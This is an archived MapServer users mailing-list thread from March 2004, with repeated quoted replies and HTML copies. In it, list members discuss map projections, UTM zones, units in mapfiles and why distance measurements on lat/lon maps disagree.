------_=_NextPart_001_01C402BF.8BB469C8-- From msmith at sanangelompo.org Fri Mar 5 06:53:21 2004 From: msmith at sanangelompo.org (Michael Smith) Date: Fri, 5 Mar 2004 08:53:21 -0600 Subject: [Mapserver-users] Projection problem In-Reply-To: Message-ID: <200403050951375.SM00852@PLANGIS> I'm no expert on mapserver either, but you may need to change your UNITS from DD to METERS or FEET. -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of snow 77 Sent: Thursday, March 04, 2004 3:05 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Projection problem Hi, I am new to the MapServer and i have a typical newbie question. I try to get am map on the web with only one shapefile as a layer. The shapefile is from the given extent and i think i define the right projection parameters. But the output map is quite distorted. Where ist the mistake? Here my mapfile: MAP NAME "test" STATUS ON EXTENT 13.563817 46.2695106622074 16.166907714098 48.1749556 #EXTENT 389334.69 5124995.01 586750.69 5336404.45 SIZE 530 350 SHAPEPATH "../../../Inetpub/wwwroot/imdas/data" FONTSET "../../../Inetpub/wwwroot/imdas/fonts/fonts.list" IMAGECOLOR 255 255 255 UNITS DD RESOLUTION 72 PROJECTION "proj=utm" "zone=1" "ellps=WGS84" "datum=WGS84" "units=m" "no_defs " "north" "init=epsg:32601" END WEB HEADER demo_header.html TEMPLATE demo.html FOOTER demo_footer.html MINSCALE 1000 MAXSCALE 1550000 IMAGEPATH "set in demo_init.html" IMAGEURL "set in demo_init.html" END #order7 LAYER NAME "aut6__________a7" STATUS ON DATA "../../../../Inetpub/wwwroot/demo/data/aut6__________a7" LABELITEM "NAME" CLASS TEMPLATE void COLOR 255 255 204 OUTLINECOLOR 200 200 200 LABEL COLOR 132 31 31 COLOR 16 125 65 TYPE TRUETYPE FONT arial-bold SIZE 10 ANTIALIAS TRUE POSITION AUTO PARTIALS FALSE MINDISTANCE 300 BUFFER 4 END # end of label END TYPE POLYGON UNITS DD END END Can anyone help me? Thanks a lot! Sonja _________________________________________________________________ Die MSN Suche - Kategorien helfen Ihnen dabei, pr?zise Ergebnisse zu erhalten. http://search.msn.at/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mappington at yahoo.com Fri Mar 5 06:58:30 2004 From: mappington at yahoo.com (Map Guy) Date: Fri, 5 Mar 2004 06:58:30 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3E79@mercator.topozone.com> Message-ID: <20040305145830.47147.qmail@web61101.mail.yahoo.com> --0-196938625-1078498710=:46912 Content-Type: text/plain; charset=us-ascii Thank you very much for your help so far. Up to this point we have been making all of calculations for our maps in lat/long degrees. So, for instance, our map extent is given in lat/long degrees. This acts as a window into our source geographic pjoection layers. Based on what you have said, we now want our output to be projected to UTM. Do we now need to convert all of our lat/long degrees to meters for this to work (what is a good way to do this, if so)? An example would be our map extent - does this now need to be in meters? Is there no way to specify everything in lat/long degrees for accessing our source data and then have the end result projected to UTM? Our map file (simplified) is at the end of this email. NAME MAPREQUEST SYMBOLSET "maprequest.sym" EXTENT -178.226733 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to be in meters?) SIZE 586 586 UNITS DD # What should this be? TRANSPARENT OFF FONTSET "maprequest.fon" IMAGECOLOR 204 255 255 IMAGETYPE PNG SHAPEPATH /layers/ PROJECTION "init=epsg:26915" END LAYER NAME "Boundary" DATA "cty90" STATUS ON TYPE POLYGON TEMPLATE "foo" CLASS COLOR 255 255 204 OUTLINECOLOR 255 255 204 END PROJECTION "proj=latlong" END END Thanks again! Ed McNierney wrote: Yes, that helps a lot. First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens . Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes. If you're going to measure distances you need appropriately projected maps. You might do best with the UTM projection family. It is simple, common, and easy to use. It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible. There are other more accurate projections (equidistant conic, for example) that require more work on your part. You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point. If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges. But if you make maps of less than a few hundred miles in extent no one will notice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 3:29 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off. So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote: I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-196938625-1078498710=:46912 Content-Type: text/html; charset=us-ascii
Thank you very much for your help so far.
 
Up to this point we have been making all of calculations for our maps in lat/long degrees. So, for instance, our map extent is given in lat/long degrees. This acts as a window into our source geographic pjoection layers. Based on what you have said, we now want our output to be projected to UTM. Do we now need to convert all of our lat/long degrees to meters for this to work (what is a good way to do this, if so)? An example would be our map extent - does this now need to be in meters? Is there no way to specify everything in lat/long degrees for accessing our source data and then have the end result projected to UTM? Our map file (simplified) is at the end of this email.
 
NAME MAPREQUEST
SYMBOLSET "maprequest.sym"
EXTENT -178.226733 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to be in meters?)
SIZE  586 586
UNITS DD # What should this be?
TRANSPARENT OFF
FONTSET "maprequest.fon"
IMAGECOLOR  204 255 255
IMAGETYPE PNG
SHAPEPATH /layers/

PROJECTION
        "init=epsg:26915"
END
LAYER
        NAME "Boundary"
        DATA "cty90"
        STATUS ON
        TYPE POLYGON
        TEMPLATE "foo"
        CLASS
                COLOR 255 255 204
                OUTLINECOLOR  255 255 204
        END
        PROJECTION
                "proj=latlong"
        END
END

Thanks again!
 

Ed McNierney <ed at topozone.com> wrote:
Yes, that helps a lot.  First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens <g>.  Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes.  If you're going to measure distances you need appropriately projected maps.
 
You might do best with the UTM projection family.  It is simple, common, and easy to use.  It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible.  There are other more accurate projections (equidistant conic, for example) that require more work on your part.
 
You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point.  If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges.  But if you make maps of less than a few hundred miles in extent no one will notice.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 3:29 PM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.
 
So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right?
 
Thanks and let me know if you need more detail to provide suggestions.


Ed McNierney <ed at topozone.com> wrote:
I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line.
 
As I said, if you can provide more detail we can offer more advice.  For example, if all your distances are at a "small scale", that's more detail (you didn't say that before).  That helps define the problem better and helps us suggest solutions.  Please describe the problem you're trying to solve and we'll help!
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1
 
Thanks again.

Ed McNierney <ed at topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed at topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-196938625-1078498710=:46912-- From ed at topozone.com Fri Mar 5 07:01:49 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 5 Mar 2004 10:01:49 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3EB0@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C402C2.C96D8482 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Mr. Guy - =20 1. If your output map images are to be in the UTM (or any other) projection, then your EXTENT needs to be expressed in the native units of that projection. So yes, you do need to express your EXTENT in meters. =20 2. You do NOT have to convert your data. Read the MapServer documentation about projections; you can have source data layers in any projection or as unprojected lat/lon degrees and MapServer will project the data on the fly to produce the output map. This works very well. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Friday, March 05, 2004 9:59 AM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation Thank you very much for your help so far. =20 Up to this point we have been making all of calculations for our maps in lat/long degrees. So, for instance, our map extent is given in lat/long degrees. This acts as a window into our source geographic pjoection layers. Based on what you have said, we now want our output to be projected to UTM. Do we now need to convert all of our lat/long degrees to meters for this to work (what is a good way to do this, if so)? An example would be our map extent - does this now need to be in meters? Is there no way to specify everything in lat/long degrees for accessing our source data and then have the end result projected to UTM? Our map file (simplified) is at the end of this email.=20 =20 NAME MAPREQUEST SYMBOLSET "maprequest.sym" EXTENT -178.226733 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to be in meters?) SIZE 586 586 UNITS DD # What should this be? TRANSPARENT OFF FONTSET "maprequest.fon" IMAGECOLOR 204 255 255 IMAGETYPE PNG SHAPEPATH /layers/ PROJECTION "init=3Depsg:26915" END LAYER NAME "Boundary" DATA "cty90" STATUS ON TYPE POLYGON TEMPLATE "foo" CLASS COLOR 255 255 204 OUTLINECOLOR 255 255 204 END PROJECTION "proj=3Dlatlong" END END Thanks again! =20 Ed McNierney wrote: Yes, that helps a lot. First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens . Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes. If you're going to measure distances you need appropriately projected maps. =20 You might do best with the UTM projection family. It is simple, common, and easy to use. It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible. There are other more accurate projections (equidistant conic, for example) that require more work on your part. =20 You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point. If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges. But if you make maps of less than a few hundred miles in extent no one will notice. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:29 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation =09 =09 We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.=20 =20 So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? =20 Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote:=20 I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. =20 As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation =09 =09 I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: =20 Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 =20 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1=20 =20 Thanks again. =09 Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! =20 Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. =20 You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. =20 Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. =20 If you can provide a bit more detail on what you're trying to do we can offer more advice. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation =09 =09 Thank you for your quick response. =20 Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? =20 Again, point me elsewhere if I am pushing in the wrong direction. =20 Thank you, =20 Map Guy =09 Ed McNierney wrote: Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation =09 =09 We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C402C2.C96D8482 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Mr. Guy -
 
1. If your output map images are to be in the = UTM (or any=20 other) projection, then your EXTENT needs to be expressed in the native = units of=20 that projection.  So yes, you do need to express your EXTENT in=20 meters.
 
2. You do NOT have to convert your data.  = Read the=20 MapServer documentation about projections; you can have source data = layers in=20 any projection or as unprojected lat/lon degrees and MapServer will = project the=20 data on the fly to produce the output map.  This works very=20 well.
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Friday, March 05, 2004 9:59 AM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject: RE:=20 [Mapserver-users] Distance Calculation

Thank you very much for your help so far.
 
Up to this point we have been making all of calculations for our = maps in=20 lat/long degrees. So, for instance, our map extent is given in lat/long = degrees.=20 This acts as a window into our source geographic pjoection layers. Based = on what=20 you have said, we now want our output to be projected to UTM. Do we now = need to=20 convert all of our lat/long degrees to meters for this to work (what is = a good=20 way to do this, if so)? An example would be our map extent - does this = now need=20 to be in meters? Is there no way to specify everything in lat/long = degrees for=20 accessing our source data and then have the end result projected to UTM? = Our map=20 file (simplified) is at the end of this email.
 
NAME MAPREQUEST
SYMBOLSET "maprequest.sym"
EXTENT -178.226733 = 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to = be in=20 meters?)
SIZE  586 586
UNITS DD # What should this = be?
TRANSPARENT=20 OFF
FONTSET "maprequest.fon"
IMAGECOLOR  204 255 = 255
IMAGETYPE=20 PNG
SHAPEPATH /layers/

PROJECTION
       =20 "init=3Depsg:26915"
END
LAYER
        NAME=20 "Boundary"
        DATA=20 "cty90"
        STATUS=20 ON
        TYPE=20 POLYGON
        TEMPLATE=20 "foo"
       =20 CLASS
          &nbs= p;    =20 COLOR 255 255=20 204
           =     =20 OUTLINECOLOR  255 255 = 204
       =20 END
       =20 PROJECTION
          = ;     =20 "proj=3Dlatlong"
        END
END

Thanks again!
 

Ed McNierney <ed at topozone.com> wrote:
Yes, that helps a lot.  First, you MUST = project your=20 data if you're going to create a raster image of it, unless your users = have=20 ellipsoidal monitor screens <g>.  Using lat/lon coordinates = as X/Y=20 coordinates is a projection, too - it's just not a very useful one for = most=20 purposes.  If you're going to measure distances you need = appropriately=20 projected maps.
 
You might do best with the UTM projection = family. =20 It is simple, common, and easy to use.  It is not an equidistant=20 projection and there will be a VERY small distortion, but for areas as = small=20 as yours I think it will be completely invisible.  There are = other more=20 accurate projections (equidistant conic, for example) that require = more work=20 on your part.
 
You do, however, need to choose the = appropriate UTM zone=20 for each map you make, based on the longitude of the center = point.  If=20 you try to make a map that is very small scale (showing a large = portion of the=20 country) it will look strange around the edges.  But if you make = maps of=20 less than a few hundred miles in extent no one will=20 notice.
 
   =20 - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:29 PM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject:=20 RE: [Mapserver-users] Distance Calculation

We are trying to map underlying layers like = streets,=20 parks, cities, etc. taken from TIGER for the United States. Then on = top of=20 this we are drawing a ring usually less than 20 miles with the center = being=20 the center of the map. Then we are mapping points given to us with = lat/lon. In=20 the legend we put the distance of the point from the center of the = map. It is=20 this distance which when done with Great Circle calc raised the red = flag=20 because the distance would put the point outside the circle when it = was being=20 drawn inside the circle. If we used Cartesian distance, then the = distance=20 would be off.
 
So, based on your answers, we MUST project = our data=20 in order for our distance shown in the legend to be accurate and also = match=20 what we draw on the map, right?
 
Thanks and let me know if you need more = detail to=20 provide suggestions.


Ed McNierney=20 <ed at topozone.com> wrote:=20
I don't know what a "Cartesian" distance in = miles means=20 when your units are in degrees and the conversion between degrees = and miles=20 depends on the length and the orientation of the = line.
 
As I said, if you can provide more detail = we can offer=20 more advice.  For example, if all your distances are at a = "small=20 scale", that's more detail (you didn't say that before).  That = helps=20 define the problem better and helps us suggest solutions.  = Please=20 describe the problem you're trying to solve and we'll=20 help!
 
   =20 - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com=20 / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North=20 Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject:=20 RE: [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the = results=20 would be so different at such a small scale. Would you tell me if = these=20 results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: = 8.1=20
 
Thanks again.

Ed McNierney = <ed at topozone.com>=20 wrote:
